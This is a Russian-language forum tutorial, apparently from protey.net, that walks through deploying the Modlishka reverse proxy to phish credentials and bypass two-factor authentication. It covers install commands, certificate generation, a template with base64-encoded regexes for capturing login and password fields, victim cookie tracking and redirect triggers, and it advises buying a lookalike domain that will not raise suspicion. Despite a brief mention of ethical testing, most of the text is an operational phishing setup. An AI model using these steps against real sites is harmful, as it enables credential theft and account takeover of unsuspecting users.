Vander
Staff member
- Nov 10, 2019
- 468
- 1,156
Приветствую уважаемую аудиторию форума Protey.net
В этой статье я предлагаю рассмотреть метод кражи учетных данных пользователя, используя технологию reverse - proxy, которая позволит нам обойти двухфакторную аутентификацию.
Для этого мы будем использовать и настраивать инструмент, довольно известный в определенных кругах, под названием Modlishka.
Что именно это означает? Короче говоря, у него просто большой потенциал, который можно использовать во многих сценариях использования.
С точки зрения безопасности Modlishka в настоящее время может использоваться для:
- Проведения этичных фишинговых тестов на проникновение с помощью прозрачного и автоматического компонента обратного прокси с универсальной поддержкой двухфакторной аутентификации.
- Автоматического отравления кеша браузеров HTTP 301 и перманентного захвата URL-адресов, без TLS.
- Диагностики и перехвата HTTP-трафика браузерных приложений с точки зрения атаки «Client Domain Hooking».
- Оборачивания устаревших веб-сайтов в TLS, для запутывания ботов, автоматических сканеров и т.д.
Достигнутые результаты оказались очень интересными, и инструмент был изначально выпущен, а затем обновлен с целью:
- Выделить слабые места используемой в настоящее время схемы двухфакторной аутентификации (2FA), чтобы в отрасли могли быть созданы и внедрены адекватные решения безопасности.
- Поддержиать другие проекты, которым может быть полезен универсальный и прозрачный обратный прокси.
- Повысить осведомленность сообщества о современных методах и стратегиях фишинга и поддержать тестировщиков на проникновение в их повседневной работе.
Эффективное проксирование!
Features
Общие:
- Обратное проксирование HTTP и HTTPS произвольного домена по принципу «наведи и щелкни».
- Полный контроль над потоком трафика TLS с перекрестным происхождением из браузеров ваших пользователей (без необходимости установки каких-либо дополнительных сертификатов на клиенте).
- Простая и быстрая настройка с помощью параметров командной строки и файлов конфигурации JSON.
- Внедрение полезной нагрузки JavaScript на основе шаблонов.
- Обертывание веб-сайтов с дополнительной «безопасностью»: обертывание TLS, аутентификация, соответствующие заголовки безопасности и т. д.
- Удаление веб-сайтов из всех заголовков шифрования и безопасности (назад к стилю MITM 90-х).
- Дизайн без сохранения состояния. Можно легко масштабировать для обработки произвольного объема трафика - например, через балансировщик нагрузки DNS.
- Может быть легко расширен вашими идеями с помощью модульных плагинов.
- Плагин автоматического тестирования TLS-сертификата для прокси-домена (требуется самозаверяющий сертификат CA)
- Написано на Go, поэтому работает практически на всех платформах и архитектурах: Windows, OSX, Linux, поддерживается BSD.
- Поддержка большинства схем аутентификации 2FA (из коробки).
- Практическая реализация атаки «Client Domain Hooking». Поддерживается диагностическим плагином.
- Сбор учетных данных пользователя (с контекстом на основе идентификаторов, переданных параметром URL).
- Плагин веб-панели со сводкой автоматически собираемых учетных данных и модуль олицетворения сеанса пользователя одним щелчком (proof-of-concept / beta).
- Нет шаблонов веб-сайтов (просто укажите Modlishka на целевой домен - в большинстве случаев он будет обработан автоматически без дополнительной ручной настройки).
Последнюю версию исходного кода можно загрузить здесь (zip) или здесь (tar).
Получите код с помощью go get:
Code:
go get -u github.com/drk1wi/Modlishka
Code:
Modlishka
Вывод больше информативный, чем практический, но это указывает на отсутствие ошибок при установке.
Проверяем работу непосредственно обратного прокси сервера, выполняем следующую команду:
Code:
Modlishka -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/google.com_gsuite.json
- В качестве аргумента указываем дефолтный конфиг google.com
Страница, которую мы запрашиваем содержит:
Code:
<a href="http://google.com">Found</a>
Code:
openssl genrsa -out MyRootCA.key 2048
Code:
openssl req -x509 -new -nodes -key MyRootCA.key -sha256 -days 1024 -out MyRootCA.pem
Code:
make
Перед тем как начнем, необходимо заглянуть в templates в директории с Modlishka. Нам доступно только два темплейта:
- Microsoft
Прелесть Modlishka, в том, что нам не нужно утомительно писать свой клон сайта, или делать что-то в духе phislets с Evilginx.
Темплейт представляет из себя json файл, просто копируем его и меняем под свои нужды.
- "target"
- "trackingCookie"
- "log"
- "credParams"
- "plugins"
"trackingCookie" - Название параметра хранящего сессионный токен:
"credParams" - Сюда необходимо поместить в закодированном в Base64 виде, имена параметров + резулярные выражения которые будут характеризовать вводимые символы.
Перехватываем запрос авторизации на сайте:
- login
- password
- login=((?:\w+[\.\-\_]){0,}\w+)&
- password=((?:\w+[\.\-\_]){0,}\w+)&
- bG9naW49KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg==,cGFzc3dvcmQ9KCg/Olx3K1tcLlwtXF9dKXswLH1cdyspJg=="
"plugins" - Включаем все доступные плагины - "all"
Запускаем Modlishka следующей командой:
Code:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/protey.json
Code:
https://loopback.modlishka.io
Code:
http://loopback.modlishka.io/SayHello2Modlishka
Попробуем разобраться.
Для начала вернемся к редактированию конфигурационного файла. Добавим немного реализма к происходящему.
Жертва должна быть перенаправлена куда-нибудь после входа в систему, которая может быть, например, реальной учетной записью на форуме. В демонстрационных целях мы и будем рассматривать этот вариант.
"terminateRedirectUrl": "https://protey.net"
Будем считать, что всё это у вас уже есть и настроено. Покупаем созвучный домен, стараемся максимально мимикрировать под целевой сайт.
В моем случае, это беспалевный - phishing.protey.net
Далее раздобудем для него сертификат, можно купить, но для тестов сгодится и LetsEncrypt.
Code:
certbot certonly --manual --preferred-challenges dns --manual-public-ip-logging-ok -d '*.phishing.protey.net' -d phishing.protey.net
- fullchain.pem
- privkey.pem
Вернемся к конфигурационному файлу, параметры:
"cert"
"certKey"
Принимают значения в одну строку, для этого на необходимо немного изменить файлы сертификатов:
Code:
sed -i ':a;N;$!ba;s/\n/\\n/g' privkey.pem
sed -i ':a;N;$!ba;s/\n/\\n/g' fullchain.pem
"proxyDomain": "phishing.protey.net",
"trackingParam": "ident" - Для того, чтобы сохранялсь куки жертвы.
"terminateTriggers": "/whats-new/", - Нет необходимости держать жертву постоянно через прокси, создаем триггер, который при переходе на страницу "Что нового", будет обрывать сессию и перенаправлять пользователя на легитимный сайт.
Убеждаемся, что у нас всё готово к фишингу:
- Сервер с Modlishka, роутер с белым статическим IP, проброс портов и т.д.
- Куплен домен.
- Получены сертификаты.
- Нет ошибок в конфигурационном файле.
Code:
./proxy -config /usr/local/Projects/pkg/mod/github.com/drk1wi/\!modlishka@v0.0.0-20200628043644-00a2385a0952/templates/protey.json
Вывод: Очень простой, универсальный и гибкий инструмент, однозначно полезен.
Спасибо за внимание, материал подготовлен специально для protey.net.
Last edited: